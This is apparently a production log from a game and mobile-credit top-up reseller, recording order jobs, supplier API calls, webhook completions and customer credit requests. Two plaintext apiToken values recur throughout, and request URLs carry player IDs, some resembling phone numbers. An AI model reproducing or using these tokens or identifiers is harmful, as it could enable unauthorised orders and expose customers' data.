[2026-03-24 13:54:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"zNRTQrI6DC5ZULfh14yMd5iWTdiJ6VPc","execution_time":"2026-03-24 13:54:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Tu0w-1774349571","operation_id":163612,"count":3} 
[2026-03-24 13:54:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"zNRTQrI6DC5ZULfh14yMd5iWTdiJ6VPc","execution_time":"2026-03-24 13:54:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Tu0w-1774349571","operation_id":163612,"user_id":1597,"notification_type":"order_approved","reference_id":178693} 
[2026-03-24 13:54:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"zNRTQrI6DC5ZULfh14yMd5iWTdiJ6VPc","execution_time":"2026-03-24 13:54:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Tu0w-1774349571","operation_id":163612,"user_id":1597,"notification_type":"order_approved","reference_id":178685} 
[2026-03-24 13:54:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"zNRTQrI6DC5ZULfh14yMd5iWTdiJ6VPc","execution_time":"2026-03-24 13:54:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Tu0w-1774349571","operation_id":163612,"user_id":1597,"notification_type":"order_approved","reference_id":178690} 
[2026-03-24 13:54:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"zNRTQrI6DC5ZULfh14yMd5iWTdiJ6VPc","execution_time":"2026-03-24 13:54:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Tu0w-1774349571","operation_id":163612,"chunk_number":1,"processed":3,"errors":0,"total_operations":3,"total_orders":3,"total_codes":0,"total_refunds":0} 
[2026-03-24 13:54:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"zNRTQrI6DC5ZULfh14yMd5iWTdiJ6VPc","execution_time":"2026-03-24 13:54:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Tu0w-1774349571","operation_id":163612,"total_processed":3,"total_errors":0,"chunks_processed":1} 
[2026-03-24 13:54:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"zNRTQrI6DC5ZULfh14yMd5iWTdiJ6VPc","execution_time":"2026-03-24 13:54:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Tu0w-1774349571","operation_id":163612,"processed":3,"errors":0} 
[2026-03-24 13:54:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"zNRTQrI6DC5ZULfh14yMd5iWTdiJ6VPc","execution_time":"2026-03-24 13:54:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Tu0w-1774349571","operation_id":163612,"processed":3,"errors":0} 
[2026-03-24 13:54:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"zNRTQrI6DC5ZULfh14yMd5iWTdiJ6VPc","execution_time":"2026-03-24 13:54:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Tu0w-1774349571","operation_id":163612} 
[2026-03-24 13:54:10] production.INFO: Constructing job for order: 178694  
[2026-03-24 13:54:11] production.INFO: Handling job for order: 178694  
[2026-03-24 13:54:11] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 13:54:11] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:54:11] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=4a800b7e-dc3c-4c59-b361-17d29ae1747c&Player_ID=52091530316  
[2026-03-24 13:54:11] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=4a800b7e-dc3c-4c59-b361-17d29ae1747c&Player_ID=52091530316","has_body":false} 
[2026-03-24 13:54:12] production.INFO: Operation sent successfully {"operation_id":163616,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-nCMZxJ-1774349652","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 13:54:12"}},"processed_data":{"order_number":"ORD-nCMZxJ-1774349652","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 13:54:25] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-nCMZxJ-1774349652","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 13:54:25] production.INFO: Processed webhook data (normalized) {"id":"ORD-nCMZxJ-1774349652","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 13:54:25] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 13:54:25] production.INFO: SendAcceptReject: Notification queued {"user_id":844,"notification_type":"order_approved","reference_id":178694} 
[2026-03-24 13:54:25] production.INFO: Order updated successfully. Order ID: 178694, Status: completed  
[2026-03-24 13:54:25] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-nCMZxJ-1774349652","status":"completed","codes_count":0} 
[2026-03-24 13:54:27] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 844  
[2026-03-24 13:55:03] production.INFO: Executing GetProducts task...  
[2026-03-24 13:55:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 13:55:03] production.INFO: Executing GetProducts task...  
[2026-03-24 13:55:05] production.INFO: async() رجع: true  
[2026-03-24 13:55:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 13:55:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 13:55:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 13:55:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 13:55:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 13:55:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 13:55:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 13:55:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 13:55:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 13:55:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 13:55:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 13:55:13] production.INFO: Constructing job for order: 178695  
[2026-03-24 13:55:15] production.INFO: Handling job for order: 178695  
[2026-03-24 13:55:15] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 13:55:15] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:55:15] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/94/params?qty=1200&uuid=92284e38-e8f2-4aa5-95c2-bf997e0921dc&Player_ID=11200494  
[2026-03-24 13:55:15] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/94/params?qty=1200&uuid=92284e38-e8f2-4aa5-95c2-bf997e0921dc&Player_ID=11200494","has_body":false} 
[2026-03-24 13:55:16] production.INFO: Operation sent successfully {"operation_id":163617,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-fVa6Ov-1774349716","amount":2.06149584000000007932840162538923323154449462890625,"status":"processing","product":"Soulchill Amount","game":"SoulChill","notes":[],"created_at":"2026-03-24 13:55:16"}},"processed_data":{"order_number":"ORD-fVa6Ov-1774349716","amount":2.06149584000000007932840162538923323154449462890625,"status":"processing","product":"Soulchill Amount","game":"SoulChill"}} 
[2026-03-24 13:56:01] production.INFO: Constructing job for order: 178696  
[2026-03-24 13:56:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"ZlyotQTzLfUYhl5aES3ZG2vDRYCTZupv","execution_time":"2026-03-24 13:56:01"} 
[2026-03-24 13:56:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"ZlyotQTzLfUYhl5aES3ZG2vDRYCTZupv","execution_time":"2026-03-24 13:56:01","total_operations":3,"sites_count":1} 
[2026-03-24 13:56:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"ZlyotQTzLfUYhl5aES3ZG2vDRYCTZupv","execution_time":"2026-03-24 13:56:01","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-9snNM5s-1774348305","ORD-o5E4aand-1774348639","ORD-fVa6Ov-1774349716"]} 
[2026-03-24 13:56:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"ZlyotQTzLfUYhl5aES3ZG2vDRYCTZupv","execution_time":"2026-03-24 13:56:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 13:56:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"ZlyotQTzLfUYhl5aES3ZG2vDRYCTZupv","execution_time":"2026-03-24 13:56:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 13:56:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"ZlyotQTzLfUYhl5aES3ZG2vDRYCTZupv","execution_time":"2026-03-24 13:56:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 13:56:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"ZlyotQTzLfUYhl5aES3ZG2vDRYCTZupv","execution_time":"2026-03-24 13:56:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-fVa6Ov-1774349716","operation_id":163617} 
[2026-03-24 13:56:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"ZlyotQTzLfUYhl5aES3ZG2vDRYCTZupv","execution_time":"2026-03-24 13:56:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597} 
[2026-03-24 13:56:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"ZlyotQTzLfUYhl5aES3ZG2vDRYCTZupv","execution_time":"2026-03-24 13:56:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597,"processed":0,"skipped":3,"updates_prepared":0} 
[2026-03-24 13:56:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"ZlyotQTzLfUYhl5aES3ZG2vDRYCTZupv","execution_time":"2026-03-24 13:56:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597,"processed":0,"errors":0} 
[2026-03-24 13:56:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"ZlyotQTzLfUYhl5aES3ZG2vDRYCTZupv","execution_time":"2026-03-24 13:56:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597} 
[2026-03-24 13:56:02] production.INFO: Handling job for order: 178696  
[2026-03-24 13:56:02] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 13:56:02] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:56:02] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=4671c2fd-3bf7-4431-a810-a139a9951125&Player_ID=52231794026  
[2026-03-24 13:56:02] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=4671c2fd-3bf7-4431-a810-a139a9951125&Player_ID=52231794026","has_body":false} 
[2026-03-24 13:56:02] production.INFO: Operation sent successfully {"operation_id":163618,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-PXYi5t-1774349762","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 13:56:02"}},"processed_data":{"order_number":"ORD-PXYi5t-1774349762","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 13:56:03] production.INFO: Constructing job for order: 178697  
[2026-03-24 13:56:05] production.INFO: Handling job for order: 178697  
[2026-03-24 13:56:05] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 13:56:05] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:56:05] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=b7b1948f-e1c6-457c-8f84-7bea1f94ff63&Player_ID=51957524285  
[2026-03-24 13:56:05] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=b7b1948f-e1c6-457c-8f84-7bea1f94ff63&Player_ID=51957524285","has_body":false} 
[2026-03-24 13:56:06] production.INFO: Operation sent successfully {"operation_id":163619,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-DTRfV-1774349766","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 13:56:06"}},"processed_data":{"order_number":"ORD-DTRfV-1774349766","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 13:56:07] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-fVa6Ov-1774349716","status":"completed","notes":["-","جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 13:56:07] production.INFO: Processed webhook data (normalized) {"id":"ORD-fVa6Ov-1774349716","status":"completed","codes":[],"notes":["-","جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 13:56:07] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 13:56:07] production.INFO: SendAcceptReject: Notification queued {"user_id":949,"notification_type":"order_approved","reference_id":178695} 
[2026-03-24 13:56:07] production.INFO: Order updated successfully. Order ID: 178695, Status: completed  
[2026-03-24 13:56:07] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-fVa6Ov-1774349716","status":"completed","codes_count":0} 
[2026-03-24 13:56:09] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 949  
[2026-03-24 13:56:13] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-PXYi5t-1774349762","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 13:56:13] production.INFO: Processed webhook data (normalized) {"id":"ORD-PXYi5t-1774349762","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 13:56:13] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 13:56:13] production.INFO: SendAcceptReject: Notification queued {"user_id":39,"notification_type":"order_approved","reference_id":178696} 
[2026-03-24 13:56:13] production.INFO: Order updated successfully. Order ID: 178696, Status: completed  
[2026-03-24 13:56:13] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-PXYi5t-1774349762","status":"completed","codes_count":0} 
[2026-03-24 13:56:15] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 39  
[2026-03-24 13:56:16] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-DTRfV-1774349766","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 13:56:16] production.INFO: Processed webhook data (normalized) {"id":"ORD-DTRfV-1774349766","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 13:56:16] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 13:56:16] production.INFO: SendAcceptReject: Notification queued {"user_id":903,"notification_type":"order_approved","reference_id":178697} 
[2026-03-24 13:56:16] production.INFO: Order updated successfully. Order ID: 178697, Status: completed  
[2026-03-24 13:56:16] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-DTRfV-1774349766","status":"completed","codes_count":0} 
[2026-03-24 13:56:18] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 903  
[2026-03-24 13:58:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Z8U68dbadQNBokRaqhT8rWGRKHIT2CSR","execution_time":"2026-03-24 13:58:04"} 
[2026-03-24 13:58:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"Z8U68dbadQNBokRaqhT8rWGRKHIT2CSR","execution_time":"2026-03-24 13:58:04","total_operations":2,"sites_count":1} 
[2026-03-24 13:58:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Z8U68dbadQNBokRaqhT8rWGRKHIT2CSR","execution_time":"2026-03-24 13:58:04","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-9snNM5s-1774348305","ORD-o5E4aand-1774348639"]} 
[2026-03-24 13:58:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Z8U68dbadQNBokRaqhT8rWGRKHIT2CSR","execution_time":"2026-03-24 13:58:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 13:58:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Z8U68dbadQNBokRaqhT8rWGRKHIT2CSR","execution_time":"2026-03-24 13:58:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 13:58:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Z8U68dbadQNBokRaqhT8rWGRKHIT2CSR","execution_time":"2026-03-24 13:58:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 13:58:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Z8U68dbadQNBokRaqhT8rWGRKHIT2CSR","execution_time":"2026-03-24 13:58:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597} 
[2026-03-24 13:58:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Z8U68dbadQNBokRaqhT8rWGRKHIT2CSR","execution_time":"2026-03-24 13:58:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 13:58:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Z8U68dbadQNBokRaqhT8rWGRKHIT2CSR","execution_time":"2026-03-24 13:58:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597,"processed":0,"errors":0} 
[2026-03-24 13:58:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"Z8U68dbadQNBokRaqhT8rWGRKHIT2CSR","execution_time":"2026-03-24 13:58:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597} 
[2026-03-24 13:58:05] production.INFO: Constructing job for order: 178698  
[2026-03-24 13:58:07] production.INFO: Handling job for order: 178698  
[2026-03-24 13:58:07] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 13:58:07] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:58:07] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=dd229624-b6cb-4eac-9370-06ad053aea83&Player_ID=3448841717  
[2026-03-24 13:58:07] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=dd229624-b6cb-4eac-9370-06ad053aea83&Player_ID=3448841717","has_body":false} 
[2026-03-24 13:58:08] production.INFO: Operation sent successfully {"operation_id":163620,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-rLc6rz-1774349888","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 13:58:08"}},"processed_data":{"order_number":"ORD-rLc6rz-1774349888","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 13:58:25] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-rLc6rz-1774349888","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 13:58:25] production.INFO: Processed webhook data (normalized) {"id":"ORD-rLc6rz-1774349888","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 13:58:25] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 13:58:25] production.INFO: SendAcceptReject: Notification queued {"user_id":659,"notification_type":"order_approved","reference_id":178698} 
[2026-03-24 13:58:25] production.INFO: Order updated successfully. Order ID: 178698, Status: completed  
[2026-03-24 13:58:25] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-rLc6rz-1774349888","status":"completed","codes_count":0} 
[2026-03-24 13:58:26] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 659  
[2026-03-24 13:58:29] production.INFO: Constructing job for order: 178699  
[2026-03-24 13:58:32] production.INFO: Handling job for order: 178699  
[2026-03-24 13:58:32] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 13:58:32] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:58:32] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/39/params?qty=1&uuid=80fb194f-51da-4aed-8c65-6c8bef496574&Player_ID=0986863265  
[2026-03-24 13:58:32] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/39/params?qty=1&uuid=80fb194f-51da-4aed-8c65-6c8bef496574&Player_ID=0986863265","has_body":false} 
[2026-03-24 13:58:33] production.INFO: Operation sent successfully {"operation_id":163621,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-qeTA-1774349913","amount":82.191339999999996734914020635187625885009765625,"status":"processing","product":"77.88 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 13:58:33"}},"processed_data":{"order_number":"ORD-qeTA-1774349913","amount":82.191339999999996734914020635187625885009765625,"status":"processing","product":"77.88 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 13:58:53] production.INFO: Constructing job for order: 178700  
[2026-03-24 13:58:54] production.INFO: Handling job for order: 178700  
[2026-03-24 13:58:54] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 13:58:54] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:58:54] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/9/params?qty=1&uuid=38c7e621-f924-4802-8610-90e4c4ad5149&Player_ID=0958788490  
[2026-03-24 13:58:54] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/9/params?qty=1&uuid=38c7e621-f924-4802-8610-90e4c4ad5149&Player_ID=0958788490","has_body":false} 
[2026-03-24 13:58:55] production.INFO: Operation sent successfully {"operation_id":163622,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-9mL-1774349934","amount":89.7035599999999959663909976370632648468017578125,"status":"processing","product":"85 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 13:58:55"}},"processed_data":{"order_number":"ORD-9mL-1774349934","amount":89.7035599999999959663909976370632648468017578125,"status":"processing","product":"85 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 13:59:00] production.INFO: Creating credit request {"payload":{"method_id":"14","amount":"600.0","mainamount":"600","operation_number":"158216623","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpanksn8riqjkr0PYRlMB"}},"user_id":1032} 
[2026-03-24 13:59:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 13:59:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 13:59:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 13:59:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 13:59:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 13:59:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 13:59:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 13:59:01] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 13:59:01] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18616,"user_id":1032,"amount":600.0,"admins_notified":7} 
[2026-03-24 13:59:21] production.INFO: Constructing job for order: 178701  
[2026-03-24 13:59:22] production.INFO: Handling job for order: 178701  
[2026-03-24 13:59:22] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 13:59:22] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:59:22] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/9/params?qty=1&uuid=a603905f-1e82-4f4b-bbf9-2278530ca688&Player_ID=0964545078  
[2026-03-24 13:59:22] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/9/params?qty=1&uuid=a603905f-1e82-4f4b-bbf9-2278530ca688&Player_ID=0964545078","has_body":false} 
[2026-03-24 13:59:22] production.INFO: Operation sent successfully {"operation_id":163623,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-tbmw-1774349962","amount":89.7035599999999959663909976370632648468017578125,"status":"processing","product":"85 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 13:59:22"}},"processed_data":{"order_number":"ORD-tbmw-1774349962","amount":89.7035599999999959663909976370632648468017578125,"status":"processing","product":"85 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 13:59:48] production.INFO: Creating credit request {"payload":{"method_id":"9","amount":"1150.0","mainamount":"1150","operation_number":"600430816187","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpnt77k7r993nh3iLPqCy"}},"user_id":1360} 
[2026-03-24 13:59:50] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 13:59:50] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 13:59:50] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 13:59:50] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 13:59:50] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 13:59:50] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 13:59:50] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 13:59:50] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 13:59:50] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18617,"user_id":1360,"amount":1150.0,"admins_notified":7} 
[2026-03-24 14:00:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"mt4fOPuxajZxYZg0uXMYcxadzzys0dHC","execution_time":"2026-03-24 14:00:02"} 
[2026-03-24 14:00:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"mt4fOPuxajZxYZg0uXMYcxadzzys0dHC","execution_time":"2026-03-24 14:00:02","total_operations":5,"sites_count":2} 
[2026-03-24 14:00:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"mt4fOPuxajZxYZg0uXMYcxadzzys0dHC","execution_time":"2026-03-24 14:00:02","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-9snNM5s-1774348305","ORD-o5E4aand-1774348639"]} 
[2026-03-24 14:00:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"mt4fOPuxajZxYZg0uXMYcxadzzys0dHC","execution_time":"2026-03-24 14:00:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 14:00:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"mt4fOPuxajZxYZg0uXMYcxadzzys0dHC","execution_time":"2026-03-24 14:00:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 14:00:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"mt4fOPuxajZxYZg0uXMYcxadzzys0dHC","execution_time":"2026-03-24 14:00:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
